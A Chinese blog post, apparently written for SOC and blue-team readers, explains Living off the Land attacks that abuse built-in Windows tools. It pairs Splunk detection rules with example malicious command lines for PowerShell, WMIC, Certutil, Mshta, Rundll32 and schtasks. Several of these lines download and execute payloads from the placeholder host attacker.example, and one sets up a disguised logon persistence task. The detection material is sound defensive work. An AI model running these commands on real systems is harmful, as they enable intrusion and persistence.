【网络安全】Living off the Land 攻击 | 蓝队防守

就地取材: Living off the Land 攻击

前言 :这篇文章把 "Living off the Land"(LotL,就地取材攻击)这件事讲清楚------攻击者为什么放着现成的木马不用,偏要用系统自带的工具作恶?这些工具都有哪些?更重要的是,作为防守方,我们能做点什么。全文站在防御视角展开,适合 SOC、应急响应和蓝队防守。


一、什么是"就地取材"

先从字面理解:Living off the Land ,直译是"靠山吃山、就地取材"。放到安全语境里,指的是攻击者不带自己的工具,直接利用目标系统上已经存在的、合法的内置程序来完成攻击。

这类被滥用的合法程序,业内有个专门的叫法------LOLBins(Living Off the Land Binaries)。

关键点在于:这些工具本身是微软或系统厂商官方签名的、可信的、系统默认就有的 。攻击者用它们干坏事,和管理员用它们干正事,在很多监控视角下长得几乎一模一样


二、攻击者为什么偏爱这一招

理解动机,才能理解防御。攻击者选择就地取材,核心就一个字:

具体来说有这么几层考量:

  1. 天生可信,默认放行。内置工具已经被信任、随处可用,而且往往被默认的安全策略放行。恶意活动因此能混进正常运维操作里。

  2. 不落地新文件 。传统木马要往磁盘写一个新的可执行文件(binary),这本身就是个显眼的检测点。而 LotL 可以直接在内存里执行代码,不落地明显的新文件,大幅降低了暴露风险。

  3. 复用合法凭据。攻击者可以借助这些工具重用系统里已有的合法凭据,让行为看起来更"名正言顺"。

  4. 降噪,拖慢检测 。以上几点叠加起来,结果就是噪声更小、检测更慢。防守方本来盯着的是"有没有陌生程序运行",而 LotL 恰恰绕过了这个视角。

  5. 便于持久化与横向移动 。用系统原生工具做持久化、在内网里横向移动时,看起来就像日常的管理员运维工作,极难和真实运维区分开。

一句话总结:攻击者不是在你系统里"多放"了什么,而是在"借用"你本来就有的东西。


三、常被滥用的 Windows 工具

被滥用的工具通常都具备这几类能力:脚本执行、系统管理、文件处理、任务调度 ------而这恰好精准对应了攻击者的常见需求:代码执行、持久化、侦察、横向移动

下面这几个是经典中的经典:

工具 正常用途 被滥用来做什么
PowerShell 系统自动化与管理 内存中执行脚本、远程下载载荷、自动化攻击流程
WMIC / WMI 查询和管理系统状态 在本地或远程主机上执行命令、探测系统信息
Certutil 处理证书 从网上抓取文件、对载荷进行编码/解码
Mshta 运行 HTA 应用 执行文档或链接投递进来的 HTA / 内联脚本
Rundll32 调用 DLL 导出函数 触发恶意 DLL 导出或 URL 处理器
schtasks(计划任务) 定时执行任务 在登录时或按计划运行代码,实现持久化

别忘了"签名的管理工具":Sysinternals

除了系统自带命令,攻击者还特别喜欢滥用微软官方签名的 Sysinternals 套件------因为它们和合法运维流程混得天衣无缝:

  • PsExec:本来是远程执行的运维神器,也是攻击者远程执行、横向移动的常用手段。
  • Autoruns :本来用来排查开机自启项,攻击者反过来用它发现和操纵持久化点

它们带着微软的签名,天然就有"可信"光环,这正是防御的难点所在。


四、逐个拆解:六大 LOLBin 的滥用手法与检测规则

上一节是概览,这一节动真格------把最常被滥用的六个工具挨个拆开:它能干什么、攻击者怎么滥用、真实命令长什么样、以及对应的检测思路。检测规则以 Splunk 语法给出,思路可以平移到其他 SIEM。

说明:下面的域名 attacker.example、路径均为示意,重点看参数组合的特征

4.1 PowerShell ------ 内存执行之王

PowerShell 是 Windows 上的脚本与自动化引擎。攻击者钟爱它,是因为它能直接在内存里跑脚本、不落地文件,能自动化大量系统操作、能联网,还能绕过部分执行策略。常见用途:下载载荷、信息收集、隐蔽执行代码、修改系统设置。

几条典型的恶意命令:

powershell 复制代码
# ① 无落地:从远程拉脚本,直接在内存执行
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object System.Net.WebClient).DownloadString('http://attacker.example/payload.ps1')"

# ② Base64 编码隐藏真实意图
powershell -NoP -NonI -W Hidden -EncodedCommand SQBn...Base64...

# ③ 下载 exe 落地并执行
powershell -NoP -NonI -Command "Invoke-WebRequest 'http://attacker.example/file.exe' -OutFile 'C:\Users\Public\updater.exe'; Start-Process 'C:\Users\Public\updater.exe'"

拆解:

  • 第 ① 条是经典的 IEX (DownloadString) 组合:远程抓脚本、内存直接执行,不在磁盘留痕迹,拖慢检测。
  • 第 ② 条用 -EncodedCommand 把载荷藏进 Base64,人工审计和简单的日志过滤都容易漏掉。
  • 第 ③ 条则是下载并执行 file.exe,相对"传统"但依然常见。

留意那几个高频参数:-NoP(不加载配置文件)、-W Hidden(隐藏窗口)、-Exec Bypass(绕过执行策略)------正常运维极少三个凑一块。

检测(Splunk):

spl 复制代码
index=wineventlog OR index=sysmon (EventCode=4688 OR EventCode=1 OR EventCode=4104)
(CommandLine="*powershell*IEX*" OR CommandLine="*powershell*-EncodedCommand*"
 OR CommandLine="*powershell*-Exec Bypass*" OR CommandLine="*Invoke-WebRequest*"
 OR CommandLine="*DownloadString*" OR CommandLine="*Invoke-RestMethod*")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

提示:EventCode 4104 是 PowerShell 脚本块日志(Script Block Logging),开启它对检测 PowerShell 滥用至关重要。

4.2 WMIC ------ 远程执行的伪装大师

WMIC(Windows Management Instrumentation 命令行)让管理员查询和管理本地或远程系统。攻击者用它远程执行命令、创建进程、收集系统信息或建立持久化 ,而且不需要任何外部二进制文件。它天然混在管理员行为里,在受限环境中也常被放行。

powershell 复制代码
# ① 远程主机上创建进程,拉起 PowerShell 下载并执行脚本
wmic /node:TARGETHOST process call create "powershell -NoP -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.example/payload.ps1')"

# ② 远程侦察:查询目标主机上运行的进程及命令行
wmic /node:TARGETHOST process get name,commandline

# ③ 本地创建进程
wmic process call create "notepad.exe"

拆解:

  • 第 ① 条中,WMIC 相当于一个远程启动器:让远程主机自己创建一个 PowerShell 进程去下载执行脚本。
  • 第 ② 条向远程系统查询进程与命令行,返回结构化信息,是跨主机侦察的利器。
  • 第 ③ 条在本机用 process call create 拉起进程,演示了本地滥用形态。

检测(Splunk):

spl 复制代码
index=sysmon OR index=wineventlog (EventCode=1 OR EventCode=4688)
(CommandLine="*\\wmic.exe*process call create*" OR CommandLine="*wmic /node:* process call create*"
 OR CommandLine="*wmic*process get Name,CommandLine*")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

4.3 Certutil ------ 证书工具变身下载器

Certutil 本是微软的证书管理工具,但它顺带能用 -urlcache 下载文件 、能 -decode 把 Base64 文本还原成二进制 。攻击者爱它,因为它带微软签名、在运维中常见,能在不用 curl 之类工具的情况下投放文件,还能绕过一些简单的拦截规则。

powershell 复制代码
# ① 下载文件到本地
certutil -urlcache -split -f "http://attacker.example/payload.exe" C:\Users\Public\payload.exe

# ② 把 Base64 文本解码还原成 exe(把二进制当文本运输,到主机再重建)
certutil -decode C:\Users\Public\encoded.b64 C:\Users\Public\decoded.exe

# ③ 把 exe 编码成 Base64 文本(投放/传输时混淆)
certutil -encode C:\Users\Public\payload.exe C:\Users\Public\payload.b64

拆解: -urlcache -split -f 组合把远程内容抓下来落盘,-decode 让攻击者能把二进制伪装成文本运输、到目标再还原,-encode 则用于投放阶段混淆。一个"证书工具"出现下载和编解码参数,本身就极不正常。

检测(Splunk):

spl 复制代码
index=sysmon OR index=wineventlog (EventCode=1 OR EventCode=4688 OR EventCode=4663)
(Image="*\\certutil.exe" OR CommandLine="*certutil*")
(CommandLine="* -urlcache * -f *" OR CommandLine="* -decode *" OR CommandLine="* -encode *")
| stats count values(Host) as hosts values(User) as users values(ParentImage) as parents by CommandLine

4.4 Mshta ------ 一行内联脚本就能起进程

Mshta 用来运行 HTA(HTML Application)文件,而 HTA 里可以塞 VBScript 或 JavaScript。

powershell 复制代码
# ① 直接执行远程 HTA
mshta "http://attacker.example/payload.hta"

# ② 内联 javascript,不需要落地文件就能拉起 PowerShell
mshta "javascript:var s=new ActiveXObject('WScript.Shell');s.Run('powershell -NoP -NonI -W Hidden -Command Start-Process calc.exe');close();"

# ③ 执行本地 HTA(常作为附件投递或丢进共享盘)
mshta "C:\Users\Public\malicious.hta"

拆解: 第 ② 条最能说明问题------通过内联 javascript: URI 创建 WScript.Shell 对象直接起 PowerShell,全程没有落地的中间文件 。看到 mshta 后面跟着 http://javascript:.hta,都值得警惕。

检测(Splunk):

spl 复制代码
index=sysmon (EventCode=1 OR EventCode=4688) Image="*\\mshta.exe"
(CommandLine="*http*://*" OR CommandLine="*javascript:*" OR CommandLine="*.hta")
| stats count by host, user, ParentImage, CommandLine

4.5 Rundll32 ------ 调用 DLL 导出函数

Rundll32 用来执行 DLL 里导出的特定函数。

powershell 复制代码
# ① 加载 DLL 并调用其导出的 Start 函数
rundll32.exe C:\Users\Public\backdoor.dll,Start

# ② 借 url.dll 的 FileProtocolHandler 处理远程 URL
rundll32.exe url.dll,FileProtocolHandler "http://attacker.example/update.html"

# ③ 从可写目录里的临时 DLL 执行加载器逻辑
rundll32.exe C:\Windows\Temp\loader.dll,Run

拆解: 第 ② 条通过 url.dll,FileProtocolHandler + 远程 URL,让系统处理器去加载远程内容,可作为后续活动的引导。重点盯:导出函数来自 \Users\Public\\Windows\Temp\ 等可写目录,或出现 url.dll,FileProtocolHandler

检测(Splunk):

spl 复制代码
index=sysmon (EventCode=1 OR EventCode=4688 OR EventCode=7) Image="*\\rundll32.exe"
(CommandLine="*\\Users\\Public\\*" OR CommandLine="*url.dll,FileProtocolHandler*" OR CommandLine="*\\Windows\\Temp\\*")
| stats count by host, user, ParentImage, CommandLine

4.6 计划任务(schtasks)------ 持久化的头号手段

任务计划程序是 Windows 内置的自动化设施,可以在指定时间、登录事件或按周期运行程序/脚本。一个任务包含名称、触发器(何时运行)、动作(运行什么),以及可选的运行身份和条件。因为它是标准运维设施,任务会出现在正常系统日志里、也常被策略放行------这既服务合法运维,也成了攻击者持久化的温床。

攻击者创建或修改任务,来实现重启后依然存活 、在用户登录时或按固定节奏运行代码、或在清理其他痕迹后快速重新拉起载荷 。他们常给任务起个人畜无害的名字,比如 WindowsUpdateMaintenance 来避免引起注意。

powershell 复制代码
# ① 登录时触发,伪装成 WindowsUpdate,每次登录都下载执行远程脚本(持久化)
schtasks /Create /SC ONLOGON /TN "WindowsUpdate" /TR "powershell -NoP -NonI -Exec Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.example/ps1')"

# ② 每天 00:05 运行本地脚本(如定时加密、分阶段收集数据)
schtasks /Create /SC DAILY /TN "DailyJob" /TR "C:\Users\Public\encrypt.ps1" /ST 00:05

# ③ 手动立即触发已建好的任务
schtasks /Run /TN "WindowsUpdate"

拆解: 一个"看起来像系统更新"的任务却在每次登录时联网执行 PowerShell,这就是典型的持久化。注意任务名的伪装性 ------名字合法不代表动作合法,一定要看 /TR 里到底跑的是什么。

检测(Splunk):

spl 复制代码
index=wineventlog EventCode=4698 OR EventCode=4699 OR index=sysmon (EventCode=1 OR EventCode=4688)
(CommandLine="*schtasks* /Create*" OR CommandLine="*schtasks* /Run*"
 OR Image="*\\taskeng.exe" OR EventCode=4698)
| stats count by host, user, EventCode, TaskName, CommandLine

EventCode 4698 = 计划任务被创建,4699 = 计划任务被删除。这两个事件是审计持久化的关键日志。

小结

以上只是冰山一角------这些工具能被用来下载、执行、编解码载荷 ,但攻击者的弹药库远不止于此。作为分析人员,我们必须持续跟进最新手法、不断更新检测规则,才能在这些"平时合法的程序"露出獠牙时抓住它们。


五、不只是 Windows:两个必备清单

就地取材绝不是 Windows 的专利,Unix / Linux 上有一整套对应的玩法。社区维护了两个几乎是"行业标配"的公开清单,防守方和红队都该收藏:

  • LOLBAS ------ Windows 平台
    https://lolbas-project.github.io/
  • GTFOBins ------ Unix / Linux 平台
    https://gtfobins.github.io/

这两个项目系统性地记录了"哪些合法二进制文件能被用来干坏事、具体怎么用"。

对防守方而言,这两个清单的价值在于: 它帮你搞清楚哪些工具最可能被滥用、滥用背后通常想达成什么目标。有了这份认知,你才能有的放矢地去调优日志、去捕获完整的命令行和进程树、以及在那些"平时人畜无害的程序突然干出明显恶意的事"时,正确地拉高告警优先级。


六、蓝队怎么防:从缩小攻击面到快速响应

LotL 的检测难点在于"合法工具的合法调用 vs 恶意调用"边界模糊。所以防御思路不能只靠"黑名单杀软",而要多管齐下。下面是几条能实打实缩小攻击面、提升响应能力的措施:

1. 分层防御(纵深防御)

终端、网络、身份三个层面的防护组合起来。单点被绕过时,其他层还能兜底。就地取材最擅长绕过"终端上有没有陌生文件"这一层,所以网络侧和身份侧的监控尤其重要。

2. 应用程序控制(白名单)

AppLockerWindows Defender Application Control(WDAC) 这类应用控制策略,明确定义哪些脚本和可执行文件被允许运行

这是对付 LotL 的关键一招:与其防"坏的",不如只放行"好的"。比如,如果业务上根本不需要普通用户能跑 mshtacertutil,那就直接限制。

3. 最小权限原则

确保只有管理员才能访问和使用系统管理类工具。很多 LotL 手法依赖普通用户就能调起 PsExec、WMI、schtasks------把这些能力收回到管理员手里,攻击者的可用弹药就少了一大半。

4. 网络规则与 DNS 过滤

配置网络策略和 DNS 过滤,阻断或重定向到已知恶意域名和 IP 的连接 。像 certutil 抓文件、PowerShell 远程下载这类行为,拦在出口就是拦在关键路径上。

5. 明确的处置预案(Containment Playbook)

提前写好清晰的隔离与凭据吊销流程:一旦某台机器被判定失陷,如何隔离系统、如何吊销暴露的凭据,要有可直接执行的步骤。真出事时,最怕的是临时现想流程。

6. 定期复盘与更新

定期回顾并更新访问权限、日志覆盖范围、控制清单,让防御跟得上不断翻新的攻击手法。LOLBAS / GTFOBins 一直在更新,你的检测规则也不该是"一次配好、永远不动"。


七、给检测工程一点额外思路

上面是策略层面的,这里补充几条更偏"落地检测"的经验(原材料提到了方向,这里展开一下):

  • 别只记进程名,要记完整命令行powershell.exe 单独出现毫无意义,但 powershell -nop -w hidden -enc <一长串Base64> 就是强信号。命令行参数才是 LotL 检测的金矿。
  • 盯"父子进程关系"winword.exe 派生出 powershell.exe,或者 powershell 拉起 certutil 去下东西------单个工具都合法,但这种组合链条极不正常。进程树比单个进程更能说明问题。
  • 关注"不该出现的行为"certutil 出现 -urlcache-decode 参数;rundll32 后面跟着 URL;mshta 去访问远程地址------这些参数组合在正常运维里几乎不会出现。
  • 建立基线。先搞清楚你的环境里"正常的管理员活动"长什么样,偏离基线的才值得追。LotL 的本质是伪装成正常,那么"什么是正常"就必须由你先定义清楚。

八、总结

就地取材攻击的核心逻辑可以浓缩成一句话:

攻击者不带工具进门,而是就地借用你系统里那些可信、合法、默认放行的原生程序来作恶------从而把恶意活动藏进日常运维的噪声里。

防守方的应对思路,则可以浓缩成这样一条链:

复制代码
理解动机(为什么用原生工具 = 为了藏)
        │
        ├─ 知道弹药库:LOLBAS(Windows) / GTFOBins(Unix)
        │
        ├─ 缩小攻击面
        │     ├─ 应用白名单(AppLocker / WDAC)
        │     ├─ 最小权限(管理工具收归管理员)
        │     └─ 网络 / DNS 过滤(拦出口)
        │
        ├─ 提升可见性
        │     ├─ 记全命令行,不只记进程名
        │     ├─ 盯父子进程链
        │     └─ 建立"正常"基线
        │
        └─ 准备快速响应
              └─ 隔离 + 吊销凭据的处置预案

LotL 之所以难缠,正是因为它把攻击藏进了"正常"里。所以防御的本质不是去找"坏东西",而是先把"正常"定义清楚,再让一切偏离无处遁形


如果这篇对你有帮助,欢迎点赞收藏。文中所有内容仅用于防御性安全研究与检测能力建设,请勿用于未授权的测试。后续会继续更新命令行日志采集、Sysmon 规则配置等更落地的检测实战内容。

相关推荐
BullSmall2 小时前
第三方软件安全-Dependency‑Track Docker 部署
安全·docker·容器
AImatters3 小时前
国产算力底座,支撑油气储运数字化迈过关键分水岭
安全·cpu·算力·海光·油气储运
叠叠乐6 小时前
中国移动家庭云电脑window关闭所有安全脚本
安全
Jmyd01236 小时前
实训室的 3D 模型涉及肖像文物,数据安全与合规怎么做?
安全·3d·数据安全·虚拟实训
芯盾时代6 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全
敢敢是只喵i7 小时前
一个本地 AI Agent 要操作多个门店或 SaaS 账号,应该怎样安全切换身份?
人工智能·安全·ai·系统架构·业界资讯
Acrel12348 小时前
DC800V 大规模落地,算力机房安全该如何保障
安全
其实防守也摸鱼8 小时前
权限提升与横向移动:从内网渗透到域控的完整技术图谱
运维·服务器·数据库·安全·github·copilot·渗透
深圳海导科技9 小时前
资产防盗追踪系统:物联网高价值资产安全管理|海导科技navynav
科技·物联网·安全
波多利希最高礼仪的握力器9 小时前
安全复制SCP
linux·服务器·安全